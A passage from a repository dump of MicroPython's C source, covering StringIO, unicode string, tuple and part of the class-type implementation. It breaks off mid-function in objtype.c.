o->ref_obj = MP_OBJ_NULL; return o; } STATIC mp_obj_t stringio_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)n_kw; // TODO check n_kw==0 mp_uint_t sz = 16; bool initdata = false; mp_buffer_info_t bufinfo; mp_obj_stringio_t *o = stringio_new(type_in); if (n_args > 0) { if (MP_OBJ_IS_INT(args[0])) { sz = mp_obj_get_int(args[0]); } else { mp_get_buffer_raise(args[0], &bufinfo, MP_BUFFER_READ); if (MP_OBJ_IS_STR_OR_BYTES(args[0])) { o->vstr = m_new_obj(vstr_t); vstr_init_fixed_buf(o->vstr, bufinfo.len, bufinfo.buf); o->vstr->len = bufinfo.len; o->ref_obj = args[0]; return MP_OBJ_FROM_PTR(o); } sz = bufinfo.len; initdata = true; } } o->vstr = vstr_new(sz); if (initdata) { stringio_write(MP_OBJ_FROM_PTR(o), bufinfo.buf, bufinfo.len, NULL); // Cur ptr is always at the beginning of buffer at the construction o->pos = 0; } return MP_OBJ_FROM_PTR(o); } STATIC const mp_rom_map_elem_t stringio_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_read), MP_ROM_PTR(&mp_stream_read_obj) }, { MP_ROM_QSTR(MP_QSTR_readinto), MP_ROM_PTR(&mp_stream_readinto_obj) }, { MP_ROM_QSTR(MP_QSTR_readline), MP_ROM_PTR(&mp_stream_unbuffered_readline_obj) }, { MP_ROM_QSTR(MP_QSTR_write), MP_ROM_PTR(&mp_stream_write_obj) }, { MP_ROM_QSTR(MP_QSTR_seek), MP_ROM_PTR(&mp_stream_seek_obj) }, { MP_ROM_QSTR(MP_QSTR_flush), MP_ROM_PTR(&mp_stream_flush_obj) }, { MP_ROM_QSTR(MP_QSTR_close), MP_ROM_PTR(&stringio_close_obj) }, { MP_ROM_QSTR(MP_QSTR_getvalue), MP_ROM_PTR(&stringio_getvalue_obj) }, { MP_ROM_QSTR(MP_QSTR___enter__), MP_ROM_PTR(&mp_identity_obj) }, { MP_ROM_QSTR(MP_QSTR___exit__), MP_ROM_PTR(&stringio___exit___obj) }, }; STATIC MP_DEFINE_CONST_DICT(stringio_locals_dict, stringio_locals_dict_table); STATIC const mp_stream_p_t stringio_stream_p = { .read = stringio_read, .write = stringio_write, .ioctl = stringio_ioctl, .is_text = true, }; STATIC const mp_stream_p_t bytesio_stream_p = { .read = stringio_read, .write = stringio_write, .ioctl = stringio_ioctl, }; const mp_obj_type_t mp_type_stringio = { { &mp_type_type }, .name = MP_QSTR_StringIO, .print = stringio_print, .make_new = stringio_make_new, .getiter = mp_identity_getiter, .iternext = mp_stream_unbuffered_iter, .protocol = &stringio_stream_p, .locals_dict = (mp_obj_dict_t*)&stringio_locals_dict, }; #if MICROPY_PY_IO_BYTESIO const mp_obj_type_t mp_type_bytesio = { { &mp_type_type }, .name = MP_QSTR_BytesIO, .print = stringio_print, .make_new = stringio_make_new, .getiter = mp_identity_getiter, .iternext = mp_stream_unbuffered_iter, .protocol = &bytesio_stream_p, .locals_dict = (mp_obj_dict_t*)&stringio_locals_dict, }; #endif #endif ================================================ FILE: micropython/source/py/objstrunicode.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/objstr.h" #include "py/objlist.h" #include "py/runtime0.h" #include "py/runtime.h" #if MICROPY_PY_BUILTINS_STR_UNICODE STATIC mp_obj_t mp_obj_new_str_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf); /******************************************************************************/ /* str */ STATIC void uni_print_quoted(const mp_print_t *print, const byte *str_data, uint str_len) { // this escapes characters, but it will be very slow to print (calling print many times) bool has_single_quote = false; bool has_double_quote = false; for (const byte *s = str_data, *top = str_data + str_len; !has_double_quote && s < top; s++) { if (*s == '\'') { has_single_quote = true; } else if (*s == '"') { has_double_quote = true; } } unichar quote_char = '\''; if (has_single_quote && !has_double_quote) { quote_char = '"'; } mp_printf(print, "%c", quote_char); const byte *s = str_data, *top = str_data + str_len; while (s < top) { unichar ch; ch = utf8_get_char(s); s = utf8_next_char(s); if (ch == quote_char) { mp_printf(print, "\\%c", quote_char); } else if (ch == '\\') { mp_print_str(print, "\\\\"); } else if (32 <= ch && ch <= 126) { mp_printf(print, "%c", ch); } else if (ch == '\n') { mp_print_str(print, "\\n"); } else if (ch == '\r') { mp_print_str(print, "\\r"); } else if (ch == '\t') { mp_print_str(print, "\\t"); } else if (ch < 0x100) { mp_printf(print, "\\x%02x", ch); } else if (ch < 0x10000) { mp_printf(print, "\\u%04x", ch); } else { mp_printf(print, "\\U%08x", ch); } } mp_printf(print, "%c", quote_char); } STATIC void uni_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { GET_STR_DATA_LEN(self_in, str_data, str_len); #if MICROPY_PY_UJSON if (kind == PRINT_JSON) { mp_str_print_json(print, str_data, str_len); return; } #endif if (kind == PRINT_STR) { mp_printf(print, "%.*s", str_len, str_data); } else { uni_print_quoted(print, str_data, str_len); } } STATIC mp_obj_t uni_unary_op(mp_uint_t op, mp_obj_t self_in) { GET_STR_DATA_LEN(self_in, str_data, str_len); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(str_len != 0); case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(unichar_charlen((const char *)str_data, str_len)); default: return MP_OBJ_NULL; // op not supported } } // Convert an index into a pointer to its lead byte. Out of bounds indexing will raise IndexError or // be capped to the first/last character of the string, depending on is_slice. const byte *str_index_to_ptr(const mp_obj_type_t *type, const byte *self_data, size_t self_len, mp_obj_t index, bool is_slice) { // All str functions also handle bytes objects, and they call str_index_to_ptr(), // so it must handle bytes. if (type == &mp_type_bytes) { // Taken from objstr.c:str_index_to_ptr() size_t index_val = mp_get_index(type, self_len, index, is_slice); return self_data + index_val; } mp_int_t i; // Copied from mp_get_index; I don't want bounds checking, just give me // the integer as-is. (I can't bounds-check without scanning the whole // string; an out-of-bounds index will be caught in the loops below.) if (MP_OBJ_IS_SMALL_INT(index)) { i = MP_OBJ_SMALL_INT_VALUE(index); } else if (!mp_obj_get_int_maybe(index, &i)) { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "string indices must be integers, not %s", mp_obj_get_type_str(index))); } const byte *s, *top = self_data + self_len; if (i < 0) { // Negative indexing is performed by counting from the end of the string. for (s = top - 1; i; --s) { if (s < self_data) { if (is_slice) { return self_data; } mp_raise_msg(&mp_type_IndexError, "string index out of range"); } if (!UTF8_IS_CONT(*s)) { ++i; } } ++s; } else { // Positive indexing, correspondingly, counts from the start of the string. // It's assumed that negative indexing will generally be used with small // absolute values (eg str[-1], not str[-1000000]), which means it'll be // more efficient this way. s = self_data; while (1) { // First check out-of-bounds if (s >= top) { if (is_slice) { return top; } mp_raise_msg(&mp_type_IndexError, "string index out of range"); } // Then check completion if (i-- == 0) { break; } // Then skip UTF-8 char ++s; while (UTF8_IS_CONT(*s)) { ++s; } } } return s; } STATIC mp_obj_t str_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) { mp_obj_type_t *type = mp_obj_get_type(self_in); assert(type == &mp_type_str); GET_STR_DATA_LEN(self_in, self_data, self_len); if (value == MP_OBJ_SENTINEL) { // load #if MICROPY_PY_BUILTINS_SLICE if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) { mp_obj_t ostart, ostop, ostep; mp_obj_slice_get(index, &ostart, &ostop, &ostep); if (ostep != mp_const_none && ostep != MP_OBJ_NEW_SMALL_INT(1)) { mp_raise_NotImplementedError("only slices with step=1 (aka None) are supported"); } const byte *pstart, *pstop; if (ostart != mp_const_none) { pstart = str_index_to_ptr(type, self_data, self_len, ostart, true); } else { pstart = self_data; } if (ostop != mp_const_none) { // pstop will point just after the stop character. This depends on // the \0 at the end of the string. pstop = str_index_to_ptr(type, self_data, self_len, ostop, true); } else { pstop = self_data + self_len; } if (pstop < pstart) { return MP_OBJ_NEW_QSTR(MP_QSTR_); } return mp_obj_new_str_of_type(type, (const byte *)pstart, pstop - pstart); } #endif const byte *s = str_index_to_ptr(type, self_data, self_len, index, false); int len = 1; if (UTF8_IS_NONASCII(*s)) { // Count the number of 1 bits (after the first) for (char mask = 0x40; *s & mask; mask >>= 1) { ++len; } } return mp_obj_new_str((const char*)s, len, true); // This will create a one-character string } else { return MP_OBJ_NULL; // op not supported } } STATIC const mp_rom_map_elem_t struni_locals_dict_table[] = { #if MICROPY_CPYTHON_COMPAT { MP_ROM_QSTR(MP_QSTR_encode), MP_ROM_PTR(&str_encode_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_find), MP_ROM_PTR(&str_find_obj) }, { MP_ROM_QSTR(MP_QSTR_rfind), MP_ROM_PTR(&str_rfind_obj) }, { MP_ROM_QSTR(MP_QSTR_index), MP_ROM_PTR(&str_index_obj) }, { MP_ROM_QSTR(MP_QSTR_rindex), MP_ROM_PTR(&str_rindex_obj) }, { MP_ROM_QSTR(MP_QSTR_join), MP_ROM_PTR(&str_join_obj) }, { MP_ROM_QSTR(MP_QSTR_split), MP_ROM_PTR(&str_split_obj) }, #if MICROPY_PY_BUILTINS_STR_SPLITLINES { MP_ROM_QSTR(MP_QSTR_splitlines), MP_ROM_PTR(&str_splitlines_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_rsplit), MP_ROM_PTR(&str_rsplit_obj) }, { MP_ROM_QSTR(MP_QSTR_startswith), MP_ROM_PTR(&str_startswith_obj) }, { MP_ROM_QSTR(MP_QSTR_endswith), MP_ROM_PTR(&str_endswith_obj) }, { MP_ROM_QSTR(MP_QSTR_strip), MP_ROM_PTR(&str_strip_obj) }, { MP_ROM_QSTR(MP_QSTR_lstrip), MP_ROM_PTR(&str_lstrip_obj) }, { MP_ROM_QSTR(MP_QSTR_rstrip), MP_ROM_PTR(&str_rstrip_obj) }, { MP_ROM_QSTR(MP_QSTR_format), MP_ROM_PTR(&str_format_obj) }, { MP_ROM_QSTR(MP_QSTR_replace), MP_ROM_PTR(&str_replace_obj) }, { MP_ROM_QSTR(MP_QSTR_count), MP_ROM_PTR(&str_count_obj) }, #if MICROPY_PY_BUILTINS_STR_PARTITION { MP_ROM_QSTR(MP_QSTR_partition), MP_ROM_PTR(&str_partition_obj) }, { MP_ROM_QSTR(MP_QSTR_rpartition), MP_ROM_PTR(&str_rpartition_obj) }, #endif #if MICROPY_PY_BUILTINS_STR_CENTER { MP_ROM_QSTR(MP_QSTR_center), MP_ROM_PTR(&str_center_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_lower), MP_ROM_PTR(&str_lower_obj) }, { MP_ROM_QSTR(MP_QSTR_upper), MP_ROM_PTR(&str_upper_obj) }, { MP_ROM_QSTR(MP_QSTR_isspace), MP_ROM_PTR(&str_isspace_obj) }, { MP_ROM_QSTR(MP_QSTR_isalpha), MP_ROM_PTR(&str_isalpha_obj) }, { MP_ROM_QSTR(MP_QSTR_isdigit), MP_ROM_PTR(&str_isdigit_obj) }, { MP_ROM_QSTR(MP_QSTR_isupper), MP_ROM_PTR(&str_isupper_obj) }, { MP_ROM_QSTR(MP_QSTR_islower), MP_ROM_PTR(&str_islower_obj) }, }; STATIC MP_DEFINE_CONST_DICT(struni_locals_dict, struni_locals_dict_table); const mp_obj_type_t mp_type_str = { { &mp_type_type }, .name = MP_QSTR_str, .print = uni_print, .make_new = mp_obj_str_make_new, .unary_op = uni_unary_op, .binary_op = mp_obj_str_binary_op, .subscr = str_subscr, .getiter = mp_obj_new_str_iterator, .buffer_p = { .get_buffer = mp_obj_str_get_buffer }, .locals_dict = (mp_obj_dict_t*)&struni_locals_dict, }; /******************************************************************************/ /* str iterator */ typedef struct _mp_obj_str_it_t { mp_obj_base_t base; mp_fun_1_t iternext; mp_obj_t str; size_t cur; } mp_obj_str_it_t; STATIC mp_obj_t str_it_iternext(mp_obj_t self_in) { mp_obj_str_it_t *self = MP_OBJ_TO_PTR(self_in); GET_STR_DATA_LEN(self->str, str, len); if (self->cur < len) { const byte *cur = str + self->cur; const byte *end = utf8_next_char(str + self->cur); mp_obj_t o_out = mp_obj_new_str((const char*)cur, end - cur, true); self->cur += end - cur; return o_out; } else { return MP_OBJ_STOP_ITERATION; } } STATIC mp_obj_t mp_obj_new_str_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_str_it_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_str_it_t *o = (mp_obj_str_it_t*)iter_buf; o->base.type = &mp_type_polymorph_iter; o->iternext = str_it_iternext; o->str = str; o->cur = 0; return MP_OBJ_FROM_PTR(o); } #endif // MICROPY_PY_BUILTINS_STR_UNICODE ================================================ FILE: micropython/source/py/objtuple.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/objtuple.h" #include "py/runtime0.h" #include "py/runtime.h" /******************************************************************************/ /* tuple */ void mp_obj_tuple_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { mp_obj_tuple_t *o = MP_OBJ_TO_PTR(o_in); if (MICROPY_PY_UJSON && kind == PRINT_JSON) { mp_print_str(print, "["); } else { mp_print_str(print, "("); kind = PRINT_REPR; } for (size_t i = 0; i < o->len; i++) { if (i > 0) { mp_print_str(print, ", "); } mp_obj_print_helper(print, o->items[i], kind); } if (MICROPY_PY_UJSON && kind == PRINT_JSON) { mp_print_str(print, "]"); } else { if (o->len == 1) { mp_print_str(print, ","); } mp_print_str(print, ")"); } } STATIC mp_obj_t mp_obj_tuple_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 0, 1, false); switch (n_args) { case 0: // return a empty tuple return mp_const_empty_tuple; case 1: default: { // 1 argument, an iterable from which we make a new tuple if (MP_OBJ_IS_TYPE(args[0], &mp_type_tuple)) { return args[0]; } // TODO optimise for cases where we know the length of the iterator size_t alloc = 4; size_t len = 0; mp_obj_t *items = m_new(mp_obj_t, alloc); mp_obj_t iterable = mp_getiter(args[0], NULL); mp_obj_t item; while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { if (len >= alloc) { items = m_renew(mp_obj_t, items, alloc, alloc * 2); alloc *= 2; } items[len++] = item; } mp_obj_t tuple = mp_obj_new_tuple(len, items); m_del(mp_obj_t, items, alloc); return tuple; } } } // Don't pass MP_BINARY_OP_NOT_EQUAL here STATIC bool tuple_cmp_helper(mp_uint_t op, mp_obj_t self_in, mp_obj_t another_in) { // type check is done on getiter method to allow tuple, namedtuple, attrtuple mp_check_self(mp_obj_get_type(self_in)->getiter == mp_obj_tuple_getiter); mp_obj_type_t *another_type = mp_obj_get_type(another_in); mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in); if (another_type->getiter != mp_obj_tuple_getiter) { // Slow path for user subclasses another_in = mp_instance_cast_to_native_base(another_in, MP_OBJ_FROM_PTR(&mp_type_tuple)); if (another_in == MP_OBJ_NULL) { return false; } } mp_obj_tuple_t *another = MP_OBJ_TO_PTR(another_in); return mp_seq_cmp_objs(op, self->items, self->len, another->items, another->len); } mp_obj_t mp_obj_tuple_unary_op(mp_uint_t op, mp_obj_t self_in) { mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(self->len != 0); case MP_UNARY_OP_HASH: { // start hash with pointer to empty tuple, to make it fairly unique mp_int_t hash = (mp_int_t)mp_const_empty_tuple; for (size_t i = 0; i < self->len; i++) { hash += MP_OBJ_SMALL_INT_VALUE(mp_unary_op(MP_UNARY_OP_HASH, self->items[i])); } return MP_OBJ_NEW_SMALL_INT(hash); } case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->len); default: return MP_OBJ_NULL; // op not supported } } mp_obj_t mp_obj_tuple_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs) { mp_obj_tuple_t *o = MP_OBJ_TO_PTR(lhs); switch (op) { case MP_BINARY_OP_ADD: case MP_BINARY_OP_INPLACE_ADD: { if (!mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(rhs)), MP_OBJ_FROM_PTR(&mp_type_tuple))) { return MP_OBJ_NULL; // op not supported } mp_obj_tuple_t *p = MP_OBJ_TO_PTR(rhs); mp_obj_tuple_t *s = MP_OBJ_TO_PTR(mp_obj_new_tuple(o->len + p->len, NULL)); mp_seq_cat(s->items, o->items, o->len, p->items, p->len, mp_obj_t); return MP_OBJ_FROM_PTR(s); } case MP_BINARY_OP_MULTIPLY: case MP_BINARY_OP_INPLACE_MULTIPLY: { mp_int_t n; if (!mp_obj_get_int_maybe(rhs, &n)) { return MP_OBJ_NULL; // op not supported } if (n <= 0) { return mp_const_empty_tuple; } mp_obj_tuple_t *s = MP_OBJ_TO_PTR(mp_obj_new_tuple(o->len * n, NULL)); mp_seq_multiply(o->items, sizeof(*o->items), o->len, n, s->items); return MP_OBJ_FROM_PTR(s); } case MP_BINARY_OP_EQUAL: case MP_BINARY_OP_LESS: case MP_BINARY_OP_LESS_EQUAL: case MP_BINARY_OP_MORE: case MP_BINARY_OP_MORE_EQUAL: return mp_obj_new_bool(tuple_cmp_helper(op, lhs, rhs)); default: return MP_OBJ_NULL; // op not supported } } mp_obj_t mp_obj_tuple_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) { if (value == MP_OBJ_SENTINEL) { // load mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in); #if MICROPY_PY_BUILTINS_SLICE if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) { mp_bound_slice_t slice; if (!mp_seq_get_fast_slice_indexes(self->len, index, &slice)) { mp_raise_NotImplementedError("only slices with step=1 (aka None) are supported"); } mp_obj_tuple_t *res = MP_OBJ_TO_PTR(mp_obj_new_tuple(slice.stop - slice.start, NULL)); mp_seq_copy(res->items, self->items + slice.start, res->len, mp_obj_t); return MP_OBJ_FROM_PTR(res); } #endif size_t index_value = mp_get_index(self->base.type, self->len, index, false); return self->items[index_value]; } else { return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t tuple_count(mp_obj_t self_in, mp_obj_t value) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_tuple)); mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in); return mp_seq_count_obj(self->items, self->len, value); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(tuple_count_obj, tuple_count); STATIC mp_obj_t tuple_index(size_t n_args, const mp_obj_t *args) { mp_check_self(MP_OBJ_IS_TYPE(args[0], &mp_type_tuple)); mp_obj_tuple_t *self = MP_OBJ_TO_PTR(args[0]); return mp_seq_index_obj(self->items, self->len, n_args, args); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(tuple_index_obj, 2, 4, tuple_index); STATIC const mp_rom_map_elem_t tuple_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_count), MP_ROM_PTR(&tuple_count_obj) }, { MP_ROM_QSTR(MP_QSTR_index), MP_ROM_PTR(&tuple_index_obj) }, }; STATIC MP_DEFINE_CONST_DICT(tuple_locals_dict, tuple_locals_dict_table); const mp_obj_type_t mp_type_tuple = { { &mp_type_type }, .name = MP_QSTR_tuple, .print = mp_obj_tuple_print, .make_new = mp_obj_tuple_make_new, .unary_op = mp_obj_tuple_unary_op, .binary_op = mp_obj_tuple_binary_op, .subscr = mp_obj_tuple_subscr, .getiter = mp_obj_tuple_getiter, .locals_dict = (mp_obj_dict_t*)&tuple_locals_dict, }; // the zero-length tuple const mp_obj_tuple_t mp_const_empty_tuple_obj = {{&mp_type_tuple}, 0}; mp_obj_t mp_obj_new_tuple(size_t n, const mp_obj_t *items) { if (n == 0) { return mp_const_empty_tuple; } mp_obj_tuple_t *o = m_new_obj_var(mp_obj_tuple_t, mp_obj_t, n); o->base.type = &mp_type_tuple; o->len = n; if (items) { for (size_t i = 0; i < n; i++) { o->items[i] = items[i]; } } return MP_OBJ_FROM_PTR(o); } void mp_obj_tuple_get(mp_obj_t self_in, size_t *len, mp_obj_t **items) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_tuple)); mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in); *len = self->len; *items = &self->items[0]; } void mp_obj_tuple_del(mp_obj_t self_in) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_tuple)); mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in); m_del_var(mp_obj_tuple_t, mp_obj_t, self->len, self); } /******************************************************************************/ /* tuple iterator */ typedef struct _mp_obj_tuple_it_t { mp_obj_base_t base; mp_fun_1_t iternext; mp_obj_tuple_t *tuple; size_t cur; } mp_obj_tuple_it_t; STATIC mp_obj_t tuple_it_iternext(mp_obj_t self_in) { mp_obj_tuple_it_t *self = MP_OBJ_TO_PTR(self_in); if (self->cur < self->tuple->len) { mp_obj_t o_out = self->tuple->items[self->cur]; self->cur += 1; return o_out; } else { return MP_OBJ_STOP_ITERATION; } } mp_obj_t mp_obj_tuple_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_tuple_it_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_tuple_it_t *o = (mp_obj_tuple_it_t*)iter_buf; o->base.type = &mp_type_polymorph_iter; o->iternext = tuple_it_iternext; o->tuple = MP_OBJ_TO_PTR(o_in); o->cur = 0; return MP_OBJ_FROM_PTR(o); } ================================================ FILE: micropython/source/py/objtype.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014-2016 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/nlr.h" #include "py/objtype.h" #include "py/runtime0.h" #include "py/runtime.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_PRINT (1) #define DEBUG_printf DEBUG_printf #else // don't print debugging info #define DEBUG_PRINT (0) #define DEBUG_printf(...) (void)0 #endif STATIC mp_obj_t static_class_method_make_new(const mp_obj_type_t *self_in, size_t n_args, size_t n_kw, const mp_obj_t *args); /******************************************************************************/ // instance object STATIC mp_obj_t mp_obj_new_instance(const mp_obj_type_t *class, size_t subobjs) { mp_obj_instance_t *o = m_new_obj_var(mp_obj_instance_t, mp_obj_t, subobjs); o->base.type = class; mp_map_init(&o->members, 0); mp_seq_clear(o->subobj, 0, subobjs, sizeof(*o->subobj)); return MP_OBJ_FROM_PTR(o); } STATIC int instance_count_native_bases(const mp_obj_type_t *type, const mp_obj_type_t **last_native_base) { int count = 0; for (;;) { if (type == &mp_type_object) { // Not a "real" type, end search here. return count; } else if (mp_obj_is_native_type(type)) { // Native types don't have parents (at least not from our perspective) so end. *last_native_base = type; return count + 1; } else if (type->parent == NULL) { // No parents so end search here. return count; } else if (((mp_obj_base_t*)type->parent)->type == &mp_type_tuple) { // Multiple parents, search through them all recursively. const mp_obj_tuple_t *parent_tuple = type->parent; const mp_obj_t *item = parent_tuple->items; const mp_obj_t *top = item + parent_tuple->len; for (; item < top; ++item) { assert(MP_OBJ_IS_TYPE(*item, &mp_type_type)); const mp_obj_type_t *bt = (const mp_obj_type_t *)MP_OBJ_TO_PTR(*item); count += instance_count_native_bases(bt, last_native_base); } return count; } else { // A single parent, use iteration to continue the search. type = type->parent; } } } // TODO // This implements depth-first left-to-right MRO, which is not compliant with Python3 MRO // http://python-history.blogspot.com/2010/06/method-resolution-order.html // https://www.python.org/download/releases/2.3/mro/ // // will keep lookup->dest[0]'s value (should be MP_OBJ_NULL on invocation) if attribute // is not found // will set lookup->dest[0] to MP_OBJ_SENTINEL if special method was found in a native // type base via slot id (as specified by lookup->meth_offset). As there can be only one // native base, it's known that it applies to instance->subobj[0]. In most cases, we also // don't need to know which type it was - because instance->subobj[0] is of that type. // The only exception is when object is not yet constructed, then we need to know base // native type to construct its instance->subobj[0] from. But this case is handled via // instance_count_native_bases(), which returns a native base which it saw. struct class_lookup_data { mp_obj_instance_t *obj; qstr attr; size_t meth_offset; mp_obj_t *dest; bool is_type; }; STATIC void mp_obj_class_lookup(struct class_lookup_data *lookup, const mp_obj_type_t *type) { assert(lookup->dest[0] == MP_OBJ_NULL); assert(lookup->dest[1] == MP_OBJ_NULL); for (;;) { // Optimize special method lookup for native types // This avoids extra method_name => slot lookup. On the other hand, // this should not be applied to class types, as will result in extra // lookup either. if (lookup->meth_offset != 0 && mp_obj_is_native_type(type)) { if (*(void**)((char*)type + lookup->meth_offset) != NULL) { DEBUG_printf("mp_obj_class_lookup: matched special meth slot for %s\n", qstr_str(lookup->attr)); lookup->dest[0] = MP_OBJ_SENTINEL; return; } } if (type->locals_dict != NULL) { // search locals_dict (the set of methods/attributes) assert(type->locals_dict->base.type == &mp_type_dict); // MicroPython restriction, for now mp_map_t *locals_map = &type->locals_dict->map; mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(lookup->attr), MP_MAP_LOOKUP); if (elem != NULL) { if (lookup->is_type) { // If we look up a class method, we need to return original type for which we // do a lookup, not a (base) type in which we found the class method. const mp_obj_type_t *org_type = (const mp_obj_type_t*)lookup->obj; mp_convert_member_lookup(MP_OBJ_NULL, org_type, elem->value, lookup->dest); } else { mp_obj_instance_t *obj = lookup->obj; mp_obj_t obj_obj; if (obj != NULL && mp_obj_is_native_type(type) && type != &mp_type_object /* object is not a real type */) { // If we're dealing with native base class, then it applies to native sub-object obj_obj = obj->subobj[0]; } else { obj_obj = MP_OBJ_FROM_PTR(obj); } mp_convert_member_lookup(obj_obj, type, elem->value, lookup->dest); } #if DEBUG_PRINT printf("mp_obj_class_lookup: Returning: "); mp_obj_print(lookup->dest[0], PRINT_REPR); printf(" "); mp_obj_print(lookup->dest[1], PRINT_REPR); printf("\n"); #endif return; } } // Previous code block takes care about attributes defined in .locals_dict, // but some attributes of native types may be handled using .load_attr method, // so make sure we try to lookup those too. if (lookup->obj != NULL && !lookup->is_type && mp_obj_is_native_type(type) && type != &mp_type_object /* object is not a real type */) { mp_load_method_maybe(lookup->obj->subobj[0], lookup->attr, lookup->dest); if (lookup->dest[0] != MP_OBJ_NULL) { return; } } // attribute not found, keep searching base classes if (type->parent == NULL) { return; } else if (((mp_obj_base_t*)type->parent)->type == &mp_type_tuple) { const mp_obj_tuple_t *parent_tuple = type->parent; const mp_obj_t *item = parent_tuple->items; const mp_obj_t *top = item + parent_tuple->len - 1; for (; item < top; ++item) { assert(MP_OBJ_IS_TYPE(*item, &mp_type_type)); mp_obj_type_t *bt = (mp_obj_type_t*)MP_OBJ_TO_PTR(*item); if (bt == &mp_type_object) { // Not a "real" type 